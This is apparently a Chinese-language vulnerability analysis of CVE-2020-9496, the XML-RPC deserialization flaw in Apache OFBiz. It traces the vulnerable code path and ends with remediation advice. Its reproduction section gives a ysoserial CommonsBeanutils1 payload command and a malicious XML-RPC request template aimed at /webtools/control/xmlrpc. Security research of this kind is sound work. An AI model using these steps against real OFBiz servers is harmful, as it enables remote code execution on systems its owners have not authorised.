Apache Ofbiz RCE (CVE-2020-9496) 漏洞分析
字数 1210 2025-08-20 18:17:31
Apache Ofbiz XML-RPC 反序列化漏洞分析 (CVE-2020-9496)
漏洞概述
Apache Ofbiz 是一个开源的企业资源规划(ERP)系统,其 /webtools/control/xmlrpc 接口存在XML-RPC反序列化漏洞(CVE-2020-9496),攻击者可通过构造恶意XML请求实现远程代码执行。
环境搭建
使用Docker快速搭建测试环境:
docker pull andyjunghans/ofbiz
docker run -p 8080:8080 -p 8443:8443 andyjunghans/ofbiz
漏洞分析
路由机制分析
- 请求入口为
/webtools/control/xmlrpc - 路由处理由
framework/webtools/webapp/webtools/WEB-INF/web.xml定义 control路径由org.apache.ofbiz.webapp.control.ControlServlet处理- 请求最终由
XmlRpcEventHandler类处理
关键处理流程
ControlServlet调用requestHandler.doRequest- 从
controller.xml获取路由配置 - 根据
event.type选择对应的EventHandler - 对于
xmlrpc请求,使用XmlRpcEventHandler处理
漏洞触发点
XmlRpcEventHandler调用execute方法- 使用
XmlRpcRequestParser解析XML输入 - 当XML中包含
serializable参数时,触发反序列化操作 - 反序列化过程:
- 首先由
ByteArrayParser进行base64解码 - 然后由
SerializableParser执行反序列化
- 首先由
漏洞复现
利用链选择
Ofbiz中存在CommonsBeanutils1利用链
生成Payload
- 使用ysoserial生成反序列化数据并base64编码:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "命令" | base64 | tr -d '\n'
- 构造恶意XML请求:
<?xml version="1.0"?>
<methodCall>
<methodName>测试</methodName>
<params>
<param>
<value>
<serializable>[base64编码的反序列化数据]</serializable>
</value>
</param>
</params>
</methodCall>
- 发送到目标地址
/webtools/control/xmlrpc
修复建议
- 升级到最新版本Apache Ofbiz
- 禁用或限制对
/webtools/control/xmlrpc的访问 - 实施输入验证和过滤
- 使用安全配置限制反序列化操作
技术要点总结
- 漏洞根源在于XML-RPC接口对不可信数据的反序列化
- 利用CommonsBeanutils1链实现RCE
- 需要base64编码反序列化数据
- 通过
serializable标签触发漏洞 - 完整的利用需要构造符合XML-RPC规范的请求
参考链接
- 官方漏洞公告:https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
- Apache Ofbiz官网:https://ofbiz.apache.org/
- XML-RPC规范文档